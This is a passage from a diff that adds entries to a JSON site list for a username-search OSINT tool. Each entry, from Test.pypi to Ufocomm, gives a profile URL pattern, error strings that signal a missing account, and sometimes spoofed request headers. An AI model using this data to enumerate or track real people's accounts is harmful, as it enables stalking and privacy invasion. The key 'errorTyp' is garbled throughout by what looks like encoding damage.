"url": "https://test.pypi.org/user/{}/", + "urlMain": "https://test.pypi.org", + "usernameON": "samsja", + "urlProbe": "https://deps.dev/_/search?q={}&system=PYPI&page=0&perPage=20", + "bad_site": "" + }, + "Tetongravity": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "This user has not registered and therefore does not have a profile to view", + "errorTyp��": "message", + "url": "https://www.tetongravity.com/forums/member.php/?username={}", + "urlMain": "https://www.tetongravity.com", + "usernameON": "RoooR", + "bad_site": "" + }, + "Texasguntalk": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.texasguntalk.com/members/?username={}", + "urlMain": "https://www.texasguntalk.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thaicat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thaicat.ru/index/8-0-{}", + "urlMain": "http://www.thaicat.ru", + "usernameON": "SparcO", + "bad_site": "" + }, + "Theanswerbank": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Welcome to the AnswerBank", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.theanswerbank.co.uk/members/{}", + "urlMain": "https://www.theanswerbank.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thebeautybrains": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://thebeautybrains.com/users/{}/", + "urlMain": "https://thebeautybrains.com", + "usernameON": "randys", + "bad_site": "" + }, + "Thebigboss": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://thebigboss.org/author/{}", + "urlMain": "http://thebigboss.org", + "usernameON": "adam", + "bad_site": "" + }, + "Thechessforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thechessforum.com/profile/{}/", + "urlMain": "https://thechessforum.com", + "usernameON": "menaalkhan", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Thechive": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://thechive.com/author/{}/", + "urlMain": "https://thechive.com", + "usernameON": "camrybishop", + "bad_site": "" + }, + "THEcommunity": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://thecommunity.ru/user/{}/", + "urlMain": "https://thecommunity.ru", + "usernameON": "pjslot", + "bad_site": "" + }, + "Thefastdiet": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "page doesn", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thefastdiet.co.uk/forums/users/{}/", + "urlMain": "https://thefastdiet.co.uk", + "usernameON": "fadepeacock", + "bad_site": "" + }, + "Thefastlaneforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.thefastlaneforum.com/community/members/?username={}", + "urlMain": "https://www.thefastlaneforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thelion": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "We are sorry but the following error has occurred.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={}", + "urlMain": "http://www.thelion.com", + "usernameON": "adam", + "bad_site": "" + }, + "Themeforest": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://themeforest.net/user/{}", + "urlMain": "https://themeforest.net", + "usernameON": "adam", + "bad_site": "" + }, + "Theodysseyonline": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theodysseyonline.com/user/@{}", + "urlMain": "https://www.theodysseyonline.com", + "usernameON": "adam", + "bad_site": "" + }, + "Theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://theoutlander.ru/index/8-0-{}", + "urlMain": "http://theoutlander.ru", + "usernameON": "Parma", + "bad_site": "" + }, + "Thephysicsforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "The Physics Forum", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thephysicsforum.com/members/{}.html", + "urlMain": "https://www.thephysicsforum.com", + "usernameON": "andrewc", + "bad_site": "" + }, + "Thesimsresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thesimsresource.com/artists/{}/", + "urlMain": "https://www.thesimsresource.com/", + "usernameON": "soloriya", + "bad_site": "" + }, + "Thestudentroom": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "NoneNone", + "errorMsg2": "This user has not registered and therefore does not have a profile to view.", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thestudentroom.co.uk/member.php?username={}", + "urlMain": "https://www.thestudentroom.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thevampirediaries": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://thevampirediaries.ru/user/{}/", + "urlMain": "http://thevampirediaries", + "usernameON": "PrestonPauh", + "comments": "no_oplata", + "bad_site": 1 + }, + "Theverge": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theverge.com/users/{}", + "urlMain": "https://www.theverge.com", + "usernameON": "Patlex", + "bad_site": "" + }, + "Thewatchforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.thewatchforum.co.uk/members/?username={}", + "urlMain": "https://www.thewatchforum.co.uk", + "usernameON": "wrench", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thingiverse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.thingiverse.com/{}/designs", + "urlMain": "https://www.thingiverse.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Thlaspi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thlaspi.com/en/user/{}", + "urlMain": "https://thlaspi.com", + "usernameON": "eblinkoff", + "comments": "-t 22 good", + "bad_site": "" + }, + "Threads": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Threads", + "errorMsg2": "| Cloudflare", + "errorMsg3": "content=\"https://www.threads.com/login", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "Priority": "u=1", + "DNT": "1", + "Host": "www.threads.com", + "Connection": "keep-alive", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.threads.com/@{}", + "urlMain": "https://www.threads.com", + "usernameON": "adam", + "bad_site": "" + }, + "TikTok": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tiktok.com/@{}?lang=ru-RU", + "urlMain": "https://www.tiktok.com/", + "headers": { + "Accept": "*/*", + "Sec-GPC": "1", + "Connection": "keep-alive", + "Host": "www.tiktok.com", + "User-Agent": "Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)" + }, + "usernameON": "red", + "bad_site": "" + }, + "Tildes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tildes.net/user/{}", + "urlMain": "https://tildes.net", + "usernameON": "Palatino", + "bad_site": "" + }, + "Tinder": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Dating, Make Friends &", + "errorMsg2": "заводи друзейТинькофф", + "errorTyp��": "message", + "url": "https://www.tinkoff.ru/invest/social/profile/{}/", + "urlMain": "https://www.tinkoff.ru", + "usernameON": "Usual_user", + "bad_site": "" + }, + "Tjournal_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Мы все внимательно посмотрели, но ничего не нашли :(", + "errorMsg2": "Можно попробовать изменить поисковый запрос или пойти почитать", + "errorTyp��": "message", + "url": "https://tjournal.ru/search/v2/subsite/relevant?query={}", + "urlMain": "https://tjournal.ru", + "usernameON": "adam", + "bad_site": 1 + }, + "Tkgr": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tkgr.ru/forum/member/{}", + "urlMain": "http://tkgr.ru/", + "usernameON": "siber", + "comments": "zamedlenie", + "bad_site": "" + }, + "Tl": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://tl.net/forum/profile.php?user={}", + "urlMain": "https://tl.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tolyatty": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tolyatty.net/user/{}/", + "urlMain": "http://tolyatty.net", + "usernameON": "derre-red", + "bad_site": 1 + }, + "Tomtom_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.tomtom.com/en/profile/{}", + "urlMain": "https://discussions.tomtom.com/", + "usernameON": "adam", + "bad_site": 1 + }, + "Toot_mstd": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://toot.cat/@{}", + "urlMain": "https://toot.cat", + "usernameON": "bob", + "bad_site": "" + }, + "Topcheats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topcheats.ucoz.com/index/8-0-{}", + "urlMain": "https://topcheats.ucoz.com", + "usernameON": "sergeizakaz", + "bad_site": "" + }, + "Topdb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Извините, но пользователь не найден", + "errorTyp��": "message", + "url": "https://topdb.ru/{}", + "urlMain": "https://topdb.ru", + "usernameON": "sukaebana2017", + "bad_site": "" + }, + "Topwar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://topwar.ru/user/{}/", + "urlMain": "https://topwar.ru", + "usernameON": "datur", + "bad_site": "" + }, + "Torrent-soft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://torrent-soft.net/user/{}/", + "urlMain": "https://torrent-soft.net", + "usernameON": "Baguvix", + "bad_site": "" + }, + "Totalstavki_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://totalstavki.ru/forum/members/?username={}", + "urlMain": "https://totalstavki.ru", + "usernameON": "turbo", + "bad_site": 1, + "comments": "zakr", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Totseans_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Totseans", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://www.totseans.com/bbs/profile/{}", + "urlMain": "http://www.totseans.com", + "usernameON": "Vizier", + "comments": "RUblock", + "bad_site": 1 + }, + "Tottenhamhotspur": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://tottenhamhotspur.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tottenhamhotspur.ru", + "usernameON": "rusiakos", + "bad_site": "" + }, + "Touristlink": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Members across the World", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.touristlink.com/user/{}", + "urlMain": "https://www.touristlink.com", + "usernameON": "green", + "comments": "Oplata", + "bad_site": 1 + }, + "Tourney": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "colspan=\"4\">", + "errorTyp��": "message", + "url": "http://www.tourney.ru/forum/userlist.php?username={}&show_group=-1&sort_by=username", + "urlMain": "http://www.tourney.ru", + "usernameON": "Spirit", + "bad_site": "" + }, + "Toxicbun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://toxicbun.com/@{}", + "urlMain": "https://toxicbun.com", + "usernameON": "Mark", + "comments": "bad", + "bad_site": 1 + }, + "Toyster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "toyster.ru форум", + "errorTyp��": "message", + "url": "https://toyster.ru/forum/member.php?username={}", + "urlMain": "https://toyster.ru", + "usernameON": "DEMOH85", + "bad_site": "" + }, + "TrackmaniaLadder": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "player unknown or invalid", + "errorMsg2": "NoneNone", + "errorMsg3": "player unknown or invalid", + "errorTyp��": "message", + "url": "http://en.tm-ladder.com/{}_rech.php", + "urlMain": "http://en.tm-ladder.com/index.php", + "usernameON": "blue", + "comments": "bad", + "bad_site": 1 + }, + "TradingView": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "This isn't the page you're looking for", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.tradingview.com/u/{}/", + "urlMain": "https://www.tradingview.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Trainsim": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://www.trainsim.com/vbts/member.php?username={}", + "urlMain": "https://www.trainsim.com/", + "usernameON": "adam", + "comments": "super", + "bad_site": 1 + }, + "Trakt": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.trakt.tv/users/{}", + "urlMain": "https://www.trakt.tv/", + "usernameON": "blue", + "bad_site": "" + }, + "Translatewiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://translatewiki.net/wiki/User:{}", + "urlMain": "https://translatewiki.net", + "usernameON": "Adam", + "bad_site": "" + }, + "Tranzilla": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По данному запросу ничего не найдено.", + "errorMsg2": "><div class=\"info_block\"></div><h2>", + "errorMsg3": "Internal Server Error", + "errorTyp��": "message", + "url": "https://tranzilla.ru/search/?request=&search_type=t", + "urlMain": "https://tranzilla.ru", + "usernameON": "irina", + "bad_site": 1 + }, + "Trashbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "div_text_error2", + "errorTyp��": "message", + "url": "https://trashbox.ru/users/{}", + "urlMain": "https://trashbox.ru/", + "usernameON": "blue", + "bad_site": "" + }, + "Travelblog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.travelblog.org/Bloggers/{}", + "urlMain": "https://www.travelblog.org", + "usernameON": "adam", + "bad_site": "" + }, + "Travelfish": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Private or invalid", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.travelfish.org/member_popup.php?u={}", + "urlMain": "https://www.travelfish.org", + "usernameON": "YeMeansWater", + "bad_site": "" + }, + "Travellerspoint": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.travellerspoint.com/users/{}/", + "urlMain": "https://www.travellerspoint.com", + "usernameON": "blue", + "bad_site": "" + }, + "Travis": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://travis-ci.community/u/{}/summary", + "urlMain": "https://travis-ci.community/", + "usernameON": "montana", + "bad_site": "" + }, + "Trello": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "model not found", + "errorMsg2": "Trello Server Error", + "errorTyp��": "message", + "url": "https://trello.com/{}", + "urlMain": "https://trello.com/", + "urlProbe": "https://trello.com/1/Members/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Trictrac": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "url": "https://www.trictrac.net/mur/{}", + "urlMain": "https://www.trictrac.net", + "usernameON": "entelechie", + "bad_site": "" + }, + "Trilife": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "

", + "errorTyp��": "message", + "url": "https://trilife.ru/search/?q={}&sort=&entity=users&from=&to=", + "urlMain": "https://trilife.ru", + "usernameON": "irina", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trinixy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://trinixy.ru/user/{}/", + "urlMain": "https://trinixy.ru", + "usernameON": "green", + "bad_site": "" + }, + "TripAdvisor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "(!cancel)", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.tripadvisor.com/Profile/{}", + "urlMain": "https://www.tripadvisor.com", + "usernameON": "blue", + "bad_site": "" + }, + "Tripline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripline.net/{}", + "urlMain": "https://www.tripline.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tripoto": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripoto.com/profile/{}", + "urlMain": "https://www.tripoto.com", + "usernameON": "kapilpandit", + "bad_site": "" + }, + "Tripster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tripster.ru/{}/", + "urlMain": "https://tripster.ru", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trisquel": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://trisquel.info/it/users/{}", + "urlMain": "https://trisquel.info", + "usernameON": "redfox", + "bad_site": "" + }, + "Trp_red": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://www.trp.red/follow/{}", + "urlMain": "https://www.trp.red", + "usernameON": "AlwaysStoic", + "bad_site": "" + }, + "Truckersmp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://truckersmp.ru/{}", + "urlMain": "https://truckersmp.ru", + "usernameON": "RamanBY", + "bad_site": "" + }, + "Trueachievements": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.trueachievements.com/gamer/{}", + "urlMain": "https://www.trueachievements.com", + "usernameON": "metallicafan459", + "bad_site": "" + }, + "Truelancer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This page could not be found.", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://www.truelancer.com/freelancer/{}", + "urlMain": "https://www.truelancer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Truesteamachievements": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "status_code", + "url": "https://truesteamachievements.com/gamer/{}", + "urlMain": "https://truesteamachievements.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Truthbook": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.truthbook.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://truthbook.com", + "usernameON": "fanofVan", + "bad_site": "" + }, + "Truthpodium": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://truthpodium.org/@{}", + "urlMain": "https://truthpodium.org", + "usernameON": "Bubba8613", + "bad_site": "" + }, + "Trworkshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "http://www.trworkshop.net/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.trworkshop.net", + "usernameON": "eric", + "bad_site": "" + }, + "Ttrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, пользователь не найден", + "errorMsg2": "<title data-react-helmet=\"true\">Тропинки.ру", + "errorTyp��": "message", + "url": "https://ttrails.ru/users/{}", + "urlMain": "https://ttrails.ru", + "usernameON": "danika983", + "bad_site": "" + }, + "Ttsport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.ttsport.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.ttsport.ru", + "usernameON": "Roos", + "comments": "bad", + "bad_site": "" + }, + "Tula": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tula.net.ru/user/{}/", + "urlMain": "http://tula.net.ru", + "usernameON": "evgenij", + "bad_site": 1 + }, + "Tulup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Нет записей, удовлетворяющих условиям запроса", + "errorMsg2": "

", + "errorTyp��": "message", + "url": "https://www.tulup.ru/noindex/userlist.php?search={}", + "urlMain": "https://www.tulup.ru", + "usernameON": "Murchik", + "bad_site": "" + }, + "Tumblr": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://{}.tumblr.com/", + "urlMain": "https://tumblr.com/", + "usernameON": "red", + "comments": "cf", + "bad_site": "" + }, + "Tunefind": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "false,\"err\":{\"name", + "errorMsg2": "Tunefind", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tunefind.com/user/profile/{}", + "urlMain": "https://www.tunefind.com", + "usernameON": "adam", + "comments": "super", + "bad_site": "" + }, + "Turbina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://turbinatravels.com/authors/{}/", + "urlMain": "https://turbina.ru", + "usernameON": "maklai", + "comments": "bad", + "bad_site": "" + }, + "Turkey-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "Пользователей: 0", + "errorTyp��": "message", + "url": "https://turkey-info.ru/forum/memberlist.php?username={}", + "urlMain": "https://turkey-info.ru", + "usernameON": "orduzulu", + "bad_site": "" + }, + "Turpravda": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "https://www.turpravda.ua/profile/{}/", + "urlMain": "https://www.turpravda.ua", + "usernameON": "iryna83", + "bad_site": "" + }, + "Tutor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, введенный вами адрес недоступен", + "errorMsg2": "dtk-front-nuxt</title", + "errorTyp��": "message", + "url": "https://tutor.ru/tutor/{}", + "urlMain": "https://tutor.ru", + "usernameON": "veronika-vikulova", + "bad_site": 1 + }, + "Tutsplus": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tutsplus.com/authors/{}", + "urlMain": "https://tutsplus.com", + "usernameON": "gigi-sayfan", + "bad_site": "" + }, + "Tv-games": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://tv-games.ru/forum/member.php?username={}", + "urlMain": "http://tv-games.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "TVgab": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "For support, please email", + "errorMsg2": "content=\"black-translucent\"/><link", + "errorMsg3": "user-scalable=no\"}],[\"$\",\"meta\\", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://gab.com/{}", + "urlMain": "https://gab.com/", + "usernameON": "HomerWarren", + "comments": "RUblock", + "bad_site": "" + }, + "Tvtropes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tvtropes.org/pmwiki/pmwiki.php/Tropers/{}", + "urlMain": "https://tvtropes.org", + "usernameON": "ZheToralf", + "bad_site": "" + }, + "Tw_weibo": { + "country": "🇨🇳", + "country_klas": "CN", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "<!DOCTYPE", + "errorMsg2": "Oops!", + "errorTyp��": "message", + "url": "https://tw.weibo.com/{}", + "urlMain": "https://tw.weibo.com", + "usernameON": "wow36kr", + "comments": "ZAK_user", + "ignore_status_code": true, + "bad_site": 1 + }, + "Twentysix": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://twentysix.ru/profile/{}/created/topics/", + "urlMain": "https://twentysix.ru", + "usernameON": "AleksandrGrigorev", + "bad_site": "" + }, + "Twitch": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "g:site_name' content='Twitch'><meta property='og:title' content='T", + "errorMsg2": "<title>Just a moment", + "errorMsg3": "content='@twitch'><link", + "errorTyp��": "message", + "url": "https://www.twitch.tv/{}", + "urlMain": "https://www.twitch.tv/", + "urlProbe": "https://m.twitch.tv/{}", + "usernameON": "adam", + "bad_site": "" + }, + "Twitter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "invalid_username", + "errorMsg2": "desc\":\"Available!", + "errorMsg3": "valid\":true,", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://x.com/{}", + "urlMain": "https://x.com", + "urlProbe": "https://api.twitter.com/i/users/username_available.json?username={}", + "usernameON": "durov", + "bad_site": "" + }, + "Typeracer": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "<title>Profile Not Found", + "errorMsg2": "We couldn't find a profile for username:", + "errorTyp��": "message", + "url": "https://data.typeracer.com/pit/profile?user={}", + "urlMain": "https://data.typeracer.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Uanime": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень", + "errorMsg2": "Інформація", + "errorMsg3": "

Please wait", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uanime.org.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://uanime.org.ua", + "usernameON": "Antigonius", + "comments": "old", + "bad_site": 1 + }, + "Uaodessa": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://uaodessa.com/index/8-0-{}", + "urlMain": "https://uaodessa.com", + "usernameON": "Trentonbouri", + "bad_site": "", + "exclusion": "\\W" + }, + "Uazpatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://uazpatriot.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://uazpatriot.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Ubisoft_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.ubisoft.com/user/{}?lang=en-US", + "urlMain": "https://discussions.ubisoft.com", + "usernameON": "mrdarrek", + "bad_site": 1 + }, + "Uchportal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.uchportal.ru/index/8-0-{}", + "urlMain": "https://www.uchportal.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Udemy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.udemy.com/user/{}/", + "urlMain": "https://www.udemy.com", + "usernameON": "adammortimer", + "bad_site": "" + }, + "Ufocomm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "одожд", + "errorTyp��": "message", + "url": "https://www.ufocomm.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.ufocomm.ru", + 